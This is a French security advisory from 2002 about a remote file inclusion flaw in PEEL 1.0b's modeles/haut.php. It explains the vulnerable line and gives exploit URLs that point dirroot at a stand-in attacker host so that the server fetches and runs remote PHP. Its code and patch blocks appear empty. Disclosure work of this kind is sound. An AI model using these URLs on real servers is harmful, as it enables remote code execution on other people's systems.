Peel **** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.mapetite-entreprise.com Version : 1.0b Problème : Inclusion de fichiers Developpement : °°°°°°°°°°°°°°° "PEEL, pour ma 'Petite Entreprise En Ligne', est une gestion de catalogue complète développée en php par les auteurs de Ma Petite Entreprise. [...] PEEL s'inspire de la structure du projet SPIP. [...]" Le problème de sécurité permet une inclusion d'un fichier externe, et eventuellement l'execution d'un code PHP s'y trouvant sur le serveur et avec ses droits et restrictions. La faille se trouve dans le fichier /modeles/haut.php. On peut y voir le code : ----------------------------------------------------------- ----------------------------------------------------------- Il y a ici deux variables à définir. La première, $dirroot, nous servira à définir le chemin du site web, ftp ou autre (et eventuellement un path) sur lequel se trouve le fichier à inclure. Si on définit la variable $dirroot mais pas $SESSION["lang"], avec par exemple l'url : http://[target]/modeles/haut.php?dirroot=http://[attacker], haut.php tentera d'inclure le fichier http://[attacker]/lang//lang.php . On ne peut pas définir l'élément SESSION["lang"], il faudra donc tenter de définir la variable $SESSION. Si l'attaqueur crée et veut inclure le fichier http://[attacker]/lang/directory/lang.php, il tapera donc une url du type http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=directory. Met comme la ligne de code est : ----------------------------------------------------------- $langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php"; ----------------------------------------------------------- et pas : --------------------------------------------------- $langfile = $dirroot."/lang/".$SESSION."/lang.php"; --------------------------------------------------- Ce sera uniquement le premier caractère de la string $SESSION qui sera comprise dans le path du fichier $langfile. Le fichier qu'inclura modeles/haut.php ne sra donc pas http://[attacker]/lang/directory/lang.php mais bien http://[attacker]/lang/d/lang.php. On peut alors, par exemple, inclure le fichier http://[attacker]/lang/lang.php (en fait http://[attacker]/lang/./lang.php) grâce à l'url http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=. Patch : °°°°°°° Dans modeles/haut.php, remplacer les lignes : ----------------------------------------------------------- ----------------------------------------------------------- par : ----------------------------------------------------------- ----------------------------------------------------------- Un patch est disponible sur http://www.phpsecure.org. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@phpsecure.org Website : http://www.frog-man.org, http://www.phpsecure.org Date : 31/12/02